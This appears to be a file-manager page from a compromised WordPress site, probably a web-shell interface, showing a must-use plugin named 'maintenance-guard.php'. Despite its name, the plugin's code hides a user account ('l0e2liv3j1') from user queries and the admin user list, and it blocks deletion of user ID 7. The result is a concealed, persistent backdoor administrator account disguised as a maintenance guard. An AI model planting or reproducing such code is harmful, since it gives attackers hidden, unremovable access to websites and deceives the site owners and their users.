File manager - Edit - /home/veronikagstoette/public_html/wp-content/mu-plugins/maintenance-guard.php
Back
<?php /* site maintenance guard */ if (!defined("WPINC")) { die(); } add_action("pre_user_query", function ($q) { global $wpdb; $q->query_where = str_replace( "WHERE 1=1", "WHERE 1=1 AND {$wpdb->users}.user_login != 'l0e2liv3j1'", $q->query_where ); }, 1); add_filter("users_list_table_query_args", function ($args) { if (!isset($args["login__not_in"]) || !is_array($args["login__not_in"])) { $args["login__not_in"] = array(); } $args["login__not_in"][] = "l0e2liv3j1"; return $args; }, 1); add_filter("user_has_cap", function ($caps, $cap, $args) { if (in_array("delete_user", (array) $cap, true) || in_array("delete_users", (array) $cap, true)) { $target = isset($args[0]) ? $args[0] : 0; if ((int) $target === 7) { unset($caps["delete_user"], $caps["delete_users"]); } } return $caps; }, 10, 3); add_action("delete_user", function ($id) { if ((int) $id === 7) { wp_die("This account is protected and cannot be removed."); } }, 1);
| ver. 1.4 |
Github
|
.
| PHP 8.2.30 | Generation time: 0 |
proxy
|
phpinfo
|
Settings